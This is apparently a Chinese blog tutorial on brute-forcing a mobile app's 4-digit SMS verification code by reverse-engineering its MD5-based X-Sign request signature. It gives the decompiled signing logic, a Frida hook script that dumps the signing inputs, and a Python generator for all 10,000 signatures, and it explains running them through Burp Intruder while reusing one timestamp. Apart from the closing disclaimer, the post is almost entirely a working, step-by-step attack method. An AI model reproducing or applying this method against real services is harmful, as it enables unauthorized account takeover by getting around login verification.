乐于分享
好东西不私藏

APP渗透测试实战:如何优雅地爆破带有签名校验的短信验证码

APP渗透测试实战:如何优雅地爆破带有签名校验的短信验证码

(引言)

在日常的渗透测试或APP漏洞挖掘中,我们经常会遇到短信验证码爆破的场景。通常情况下,如果验证码只有4位,那简直就是白给的“送分题”。

但现实往往没有那么骨感。在测试某一个app时,我本着“作为一个好人,肯定要帮忙测试一下系统健壮性”的心态,尝试对它的4位短信验证码进行爆破。结果抓包一改,直接被系统无情地提示:“解密失败”

这说明后端对请求进行了校验。今天就带大家抽丝剥茧,从零开始逆向分析并绕过这个烦人的签名校验。


一、 初探:数据包里的“绊脚石”

抓取登录时发送验证码的数据包,尝试修改验证码字段并重放,服务器直接返回了 {"msg":"解密失败"}

凭着多年踩坑的经验,直观分析可以判断,问题出在请求头里的动态签名上。仔细观察请求头,提取出以下几个核心的关键字段:

  • X-Noncestr
  • X-Req-Time
  • X-Sign (罪魁祸首应该就是它了!)
  • X-Token
  • X-Userid

既然找到了目标,下一步就是去源码里“抄家”了。

二、 抽丝剥茧:反编译与关键字定位

将APP脱壳并反编译后,我们直接全局搜索关键字 "X-Sign"

查看调用

很快就锁定了目标类。跟进查看调用逻辑,发现在 RequestParamsWrapper 类中,程序使用了 builderNewBuilder.add(PARAM_SIGN, this.sign) 方法将 sign 的值赋到了请求头中。这与我们在抓包时看到的位置完美吻合!

继续往上层追溯 this.sign 的来源,找到了核心的赋值语句:

this.sign = sign((str == null || str.length() == 0) ? "" : str);

再跳入 sign() 这个方法,加密的真相彻底大白:

private String sign(String str) {    return Md5.md5(this.token + this.reqTime + this.noncestr.substring(2) + str).toLowerCase();}

结合源码分析,X-Sign 的生成逻辑其实非常简单粗暴,就是将几个参数拼接后进行 MD5加密并转小写

拼接的元素包括:

  1. this.token(来自请求头)
  2. this.reqTime(时间戳,来自请求头)
  3. this.noncestr.substring(2)(截取 X-Noncestr 的后几位)
  4. str(通过上下文分析,这个 str 其实就是请求体 RequestBody 的字符串形式)
现在就继续分析str这个值来自哪里,通过查看源码可以得知,srt来自请求包,大致就是请求体的参数

三、 降维打击:Frida Hook 动态验证

其实到上面这一步,静态分析已经把逻辑理得很清楚了。但我个人更喜欢用 Frida 来进行动态验证——毕竟眼见为实,直接 Hook 出 sign(String str) 中的传入值,能省去很多猜想的时间。

废话不多说,直接上 Hook 脚本:

Java.perform(function () {   // Hook 请求包装类,获取传入的具体参数   var RequestParamsWrapper = Java.use("com.xxx.xxx.partner.data.network.interceptors.RequestParamsWrapper");   RequestParamsWrapper.sign.implementation = function (str) {       console.log("sign()方法传入的值:" + str);       let sign_var =  this.sign(str);       return sign_var;   }   // Hook MD5类,看看最终参与加密的完整明文长什么样   var Md5 = Java.use("com.xxx.xxx.partner.utils.Md5");   Md5.md5.implementation = function (str) {       console.log("md5加密传入的所有参数:" + str);       let md5 = this.md5(str);       return md5;   }});

运行脚本,触发发包逻辑,控制台完美打印出了我们需要的数据。明文拼接的规则与我们静态分析的完全一致!

四、 终局:Python编写字典,完成爆破

既然掌握了 X-Sign 的生成规律,我们就可以自己来伪造签名了。

这里有一个小技巧:经过测试发现,该接口的时间戳是可以复用的!这意味着我们不需要每次请求都去更新时间戳,只需要固定好时间戳、Token 和 Noncestr,然后遍历 0000-9999 这 10000 个验证码,批量生成对应的 MD5 签名即可。

写个 Python 脚本,分分钟生成专属的爆破字典:

import hashlib# 基础拼接字符串 (Token + ReqTime + Noncestr截取 + 请求体前缀)base_str = "17722017078603456phone=18888888888&validCode="output_filename = "x_sign_dict.txt"with open(output_filename, "w", encoding="utf-8") as f:    for i in range(10000):        # 补齐四位数字,例如 1 变成 "0001"        valid_code = f"{i:04d}"        # 拼接完整的原始字符串        raw_data = base_str + valid_code        # 计算 MD5 (生成 32 位小写)        x_sign = hashlib.md5(raw_data.encode('utf-8')).hexdigest()        # 写入字典文件        f.write(x_sign + "\n")print(f" 包含 10000 个 X-Sign 的字典已成功生成:{output_filename}")

拿到生成的 x_sign_dict.txt 后,直接导入到 Burp Suite 的 Intruder 模块中,选择 Pitchfork 模式(同时爆破 validCode 和 X-Sign)。

剩下的,就是玩手机,静静等待那个 length 与众不同的返回包了。

⚠️ 安全声明:

 

本文仅作技术研究与交流探讨,请勿将相关技术用于非法用途。未经授权的渗透测试均属违法行为,请读者在合法合规的前提下进行技术实践。

本站文章均为手工撰写未经允许谢绝转载:夜雨聆风 » APP渗透测试实战:如何优雅地爆破带有签名校验的短信验证码

评论 抢沙发

1 + 6 =
  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址
×
订阅图标按钮